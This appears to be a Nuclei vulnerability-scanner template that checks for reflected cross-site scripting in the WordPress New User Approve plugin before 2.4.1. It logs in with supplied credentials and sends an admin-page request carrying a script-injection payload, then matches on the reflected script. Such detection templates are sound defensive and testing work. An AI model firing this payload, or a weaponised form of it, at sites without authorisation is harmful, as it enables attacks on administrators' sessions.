id: new-user-approve-xss

info:
  name: WordPress New User Approve <2.4.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress New User Approve 2.4.1 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/17f99601-f5c9-4300-9b4a-6d75fa7ab94a
    - https://wordpress.org/plugins/new-user-approve
  metadata:
    verified: true
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  tags: wordpress,xss,authenticated,wp-plugin,wpscan,wp

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/index.php?a%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '?a"><script>alert(1)</script>&new-user-approve-settings'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/09/07